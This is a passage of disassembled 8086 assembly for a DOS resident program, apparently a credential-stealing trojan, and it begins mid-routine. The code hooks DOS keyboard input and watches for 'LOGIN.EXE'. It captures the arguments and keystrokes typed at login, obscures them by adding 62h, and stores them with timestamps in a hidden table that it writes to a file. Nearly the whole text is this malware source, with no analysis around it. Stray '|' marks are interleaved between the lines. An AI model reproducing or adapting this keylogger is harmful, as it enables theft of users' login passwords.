or al,al ;Zero ?
|
||
loopnz locloop_46 ;Loop if zf=0, cx>0
|
||
|
||
dec cs:data_56 ;(8002:0C12=0)
|
||
mov si,dx
|
||
sub cs:data_56,9 ;(8002:0C12=0)
|
||
add si,cs:data_56 ;(8002:0C12=0)
|
||
mov di,978h
|
||
push cs
|
||
pop es
|
||
mov cx,9
|
||
cld ;Clear direction
|
||
repe cmpsb ;Rep zf=1+cx >0 Cmp [si] to es:[di]
|
||
jz loc_47 ;Jump if zero
|
||
jmp short loc_51 ;(086C)
|
||
db 90h
|
||
loc_47:
|
||
mov ah,62h ;'b'
|
||
call sub_7 ;(0229)
|
||
mov ds,bx
|
||
mov si,80h
|
||
cld ;Clear direction
|
||
lodsb ;String [si] to al
|
||
cmp al,1
|
||
ja loc_48 ;Jump if above
|
||
mov byte ptr cs:data_58,1 ;(8002:0C16=0)
|
||
nop
|
||
jmp short loc_51 ;(086C)
|
||
db 90h
|
||
loc_48:
|
||
mov byte ptr cs:data_58,0 ;(8002:0C16=0)
|
||
nop
|
||
push cs
|
||
pop es
|
||
mov ds,bx
|
||
mov cx,0Fh
|
||
mov si,82h
|
||
mov di,0BE6h
|
||
cld ;Clear direction
|
||
|
||
locloop_49:
|
||
lodsb ;String [si] to al
|
||
cmp al,61h ;'a'
|
||
jb loc_50 ;Jump if below
|
||
and al,0DFh
|
||
loc_50:
|
||
add al,62h ;'b'
|
||
stosb ;Store al to es:[di]
|
||
cmp al,6Fh ;'o'
|
||
loopnz locloop_49 ;Loop if zf=0, cx>0
|
||
|
||
mov al,6Fh ;'o'
|
||
stosb ;Store al to es:[di]
|
||
mov byte ptr cs:data_58,2 ;(8002:0C16=0)
|
||
nop
|
||
loc_51:
|
||
mov cs:data_56,0 ;(8002:0C12=0)
|
||
retn
|
||
|
||
DOS_input_: pushf ;Push flags
|
||
push cs
|
||
call sub_12
|
||
push ax
|
||
push ds
|
||
push si
|
||
push di
|
||
push es
|
||
mov ah,cs:data_58 ;(8002:0C16=0)
|
||
cmp ah,0
|
||
je loc_54
|
||
cmp ah,1
|
||
je loc_53
|
||
mov di,0BF6h
|
||
call sub_13
|
||
jnz loc_54 ;Jump if not zero
|
||
mov byte ptr cs:data_58,0 ;(8002:0C16=0)
|
||
nop
|
||
mov byte ptr cs:data_59,1 ;(8002:0C17=0)
|
||
nop
|
||
jmp short loc_54
|
||
nop
|
||
|
||
loc_53: mov di,0BE6h
|
||
call sub_13 ;(08C8)
|
||
jnz loc_54 ;Jump if not zero
|
||
mov byte ptr cs:data_58,2 ;(8002:0C16=0)
|
||
nop
|
||
mov cs:data_56,0 ;(8002:0C12=0)
|
||
|
||
loc_54: pop es
|
||
pop di
|
||
pop si
|
||
pop ds
|
||
pop ax
|
||
popf ;Pop flags
|
||
iret ;Interrupt return
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_12: jmp dword ptr cs:data_22e ;(8002:002E=0)
|
||
|
||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
|
||
sub_13: add di,cs:data_56 ;(8002:0C12=0)
|
||
cmp al,8
|
||
jne loc_55 ;Jump if not equal
|
||
cmp cs:data_56,0 ;(8002:0C12=0)
|
||
je loc_57 ;Jump if equal
|
||
dec cs:data_56 ;(8002:0C12=0)
|
||
jmp short loc_57 ;(0906)
|
||
db 90h
|
||
loc_55:
|
||
cmp al,61h ;'a'
|
||
jb loc_56 ;Jump if below
|
||
and al,0DFh
|
||
loc_56:
|
||
push cs
|
||
pop es
|
||
inc cs:data_56 ;(8002:0C12=0)
|
||
cmp cs:data_56,10h ;(8002:0C12=0)
|
||
jne loc_57 ;Jump if not equal
|
||
dec cs:data_56 ;(8002:0C12=0)
|
||
cmp al,0Dh
|
||
jne loc_57 ;Jump if not equal
|
||
mov cs:data_56,0 ;(8002:0C12=0)
|
||
loc_57:
|
||
add al,62h ;'b'
|
||
stosb ;Store al to es:[di]
|
||
cmp al,6Fh ;'o'
|
||
retn
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_14: mov al,2
|
||
mov cx,0FFFFh
|
||
mov dx,0FFFCh
|
||
call sub_5 ;(0222)
|
||
push cs
|
||
pop ds
|
||
mov dx,0
|
||
mov cx,2
|
||
call sub_3 ;(0216)
|
||
mov ax,ds:data_4e ;(8002:0000=0)
|
||
cmp ax,6262h
|
||
jne loc_61 ;Jump if not equal
|
||
mov cx,10h
|
||
|
||
locloop_58:
|
||
push cx
|
||
mov ax,26h
|
||
dec cx
|
||
mul cx ;dx:ax = reg * ax
|
||
mov dx,0FD9Ch
|
||
add dx,ax
|
||
mov al,2
|
||
mov cx,0FFFFh
|
||
call sub_5 ;(0222)
|
||
mov dx,0BE6h
|
||
mov cx,26h
|
||
call sub_3 ;(0216)
|
||
jc loc_60 ;Jump if carry Set
|
||
cmp byte ptr data_48,82h ;(8002:0BE6=0)
|
||
jb loc_59 ;Jump if below
|
||
call sub_15 ;(0979)
|
||
loc_59:
|
||
pop cx
|
||
loop locloop_58 ;Loop if cx > 0
|
||
|
||
jmp short loc_60 ;(095C)
|
||
db 90h
|
||
loc_60:
|
||
mov al,2
|
||
mov cx,0FFFFh
|
||
mov dx,0FD9Ch
|
||
call sub_5 ;(0222)
|
||
mov dx,981h
|
||
mov cx,263h
|
||
nop
|
||
call sub_2 ;(0212)
|
||
loc_61:
|
||
mov cs:data_56,0 ;(8002:0C12=0)
|
||
retn
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_15: call sub_17 ;(0A7A)
|
||
cmp cs:data_56,0Fh ;(8002:0C12=0)
|
||
je loc_64 ;Jump if equal
|
||
mov si,981h
|
||
mov ax,26h
|
||
mul cs:data_56 ;(8002:0C12=0) ax = data * ax
|
||
add si,ax
|
||
mov ax,cs:data_50 ;(8002:0C06=0)
|
||
cmp cs:data_20e[si],ax ;(8002:0020=0)
|
||
nop
|
||
jc loc_62 ;Jump if carry Set
|
||
mov ax,cs:data_51 ;(8002:0C08=0)
|
||
cmp cs:[si+22h],ax
|
||
nop
|
||
jc loc_62 ;Jump if carry Set
|
||
mov ax,cs:data_52 ;(8002:0C0A=0)
|
||
cmp cs:[si+24h],ax
|
||
nop
|
||
ja loc_ret_63 ;Jump if above
|
||
loc_62:
|
||
call sub_18 ;(0AB0)
|
||
|
||
loc_ret_63:
|
||
retn
|
||
loc_64:
|
||
mov cs:data_57,0Fh ;(8002:0C14=0)
|
||
mov cs:data_53,0 ;(8002:0C0C=0)
|
||
mov cs:data_54,0 ;(8002:0C0E=0)
|
||
mov cs:data_55,0 ;(8002:0C10=0)
|
||
loc_65:
|
||
dec cs:data_57 ;(8002:0C14=0)
|
||
jz loc_62 ;Jump if zero
|
||
mov si,981h
|
||
mov ax,26h
|
||
mul cs:data_57 ;(8002:0C14=0) ax = data * ax
|
||
add ax,26h
|
||
add si,ax
|
||
mov ax,cs:data_20e[si] ;(8002:0020=0)
|
||
or ax,ax ;Zero ?
|
||
jz loc_67 ;Jump if zero
|
||
cmp cs:data_53,ax ;(8002:0C0C=0)
|
||
ja loc_66 ;Jump if above
|
||
mov ax,cs:data_51 ;(8002:0C08=0)
|
||
cmp cs:[si+22h],ax
|
||
nop
|
||
jc loc_66 ;Jump if carry Set
|
||
mov ax,cs:data_52 ;(8002:0C0A=0)
|
||
cmp cs:[si+24h],ax
|
||
nop
|
||
ja loc_65 ;Jump if above
|
||
loc_66:
|
||
mov ax,cs:data_57 ;(8002:0C14=0)
|
||
inc ax
|
||
mov cs:data_56,ax ;(8002:0C12=0)
|
||
mov ax,cs:data_20e[si] ;(8002:0020=0)
|
||
mov cs:data_53,ax ;(8002:0C0C=0)
|
||
mov ax,cs:[si+22h]
|
||
mov cs:data_54,ax ;(8002:0C0E=0)
|
||
mov ax,cs:[si+24h]
|
||
mov cs:data_55,ax ;(8002:0C10=0)
|
||
jmp short loc_65 ;(09D2)
|
||
loc_67:
|
||
dec cs:data_57 ;(8002:0C14=0)
|
||
jnz loc_68 ;Jump if not zero
|
||
jmp loc_62 ;(09B2)
|
||
loc_68:
|
||
mov si,981h
|
||
mov ax,26h
|
||
mul cs:data_57 ;(8002:0C14=0) ax = data * ax
|
||
add ax,26h
|
||
add si,ax
|
||
mov ax,cs:data_20e[si] ;(8002:0020=0)
|
||
or ax,ax ;Zero ?
|
||
jz loc_67 ;Jump if zero
|
||
mov ax,cs:data_57 ;(8002:0C14=0)
|
||
inc ax
|
||
inc ax
|
||
mov cs:data_56,ax ;(8002:0C12=0)
|
||
jmp loc_62 ;(09B2)
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
sub_16: mov ah,2Ah ;'*'
|
||
call sub_7 ;(0229)
|
||
mov cs:data_50,cx ;(8002:0C06=0)
|
||
mov cs:data_51,dx ;(8002:0C08=0)
|
||
mov ah,2Ch ;','
|
||
call sub_7 ;(0229)
|
||
mov cs:data_52,cx ;(8002:0C0A=0)
|
||
retn
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
sub_17: push cs
|
||
pop ax
|
||
mov es,ax
|
||
mov ds,ax
|
||
mov cs:data_56,0 ;(8002:0C12=0)
|
||
loc_69:
|
||
mov di,981h
|
||
mov ax,26h
|
||
mul cs:data_56 ;(8002:0C12=0) ax = data * ax
|
||
add di,ax
|
||
mov si,0BE6h
|
||
loc_70:
|
||
mov al,[si]
|
||
cld ;Clear direction
|
||
cmpsb ;Cmp [si] to es:[di]
|
||
jnz loc_71 ;Jump if not zero
|
||
cmp al,6Fh ;'o'
|
||
jne loc_70 ;Jump if not equal
|
||
retn
|
||
loc_71:
|
||
inc cs:data_56 ;(8002:0C12=0)
|
||
cmp cs:data_56,0Fh ;(8002:0C12=0)
|
||
jne loc_69 ;Jump if not equal
|
||
retn
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
sub_18: mov ax,cs:data_56 ;(8002:0C12=0)
|
||
or ax,ax ;Zero ?
|
||
jz loc_73 ;Jump if zero
|
||
mov ax,26h
|
||
mul cs:data_56 ;(8002:0C12=0) ax = data * ax
|
||
mov cx,ax
|
||
add ax,9A7h
|
||
dec ax
|
||
mov di,ax
|
||
sub ax,26h
|
||
mov si,ax
|
||
std ;Set direction flag
|
||
rep movsb ;Rep when cx >0 Mov [si] to es:[di]
|
||
mov si,0BE6h
|
||
mov di,9A7h
|
||
mov cx,26h
|
||
loc_72:
|
||
cld ;Clear direction
|
||
rep movsb ;Rep when cx >0 Mov [si] to es:[di]
|
||
retn
|
||
loc_73:
|
||
mov si,0BF6h
|
||
mov di,991h
|
||
mov cx,16h
|
||
jmp short loc_72 ;(0AD9)
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
sub_19: push cs
|
||
pop ds
|
||
mov si,6Ah
|
||
add si,bx
|
||
mov di,6Ah
|
||
mov cx,0B7Bh
|
||
rep movsb ;Rep when cx >0 Mov [si] to es:[di]
|
||
retn
|
||
|
||
db 'LOGIN.EXE'
|
||
db 0B5h, 0B7h, 0B2h, 0A7h, 0B4h, 0B8h
|
||
db 0ABh, 0B5h, 0B1h, 0B4h, 6Fh, 0
|
||
db 0, 0, 0, 0, 6Fh, 0A7h
|
||
db 0B5h, 0AEh, 0B1h
|
||
db 6Fh
|
||
db 10 dup (0)
|
||
db 0C7h, 7, 0Ah, 0Ch, 0Bh, 8
|
||
db 32 dup (0)
|
||
db 0C7h, 7, 0Bh, 9, 35h, 6
|
||
db 'and', 0Dh, 0Ah, '$'
|
||
db 0Dh, 0Ah, 'Insufficoent memory fo'
|
||
db 'r '
|
||
db 0C7h, 7, 11h, 6, 0, 0Eh
|
||
db 0, 0
|
||
db 112 dup (0)
|
||
timer_count db 0
|
||
data_48 db 0
|
||
db 15 dup (0)
|
||
data_49 db 0
|
||
db 15 dup (0)
|
||
data_50 dw 0
|
||
data_51 dw 0
|
||
data_52 dw 0
|
||
data_53 dw 0
|
||
data_54 dw 0
|
||
data_55 dw 0
|
||
data_56 dw 0
|
||
data_57 dw 0
|
||
data_58 db 0
|
||
data_59 db 0
|
||
db 329 dup (0)
|
||
db 62h, 62h, 1, 0
|
||
|
||
newcom ends
|
||
end start
|
||
|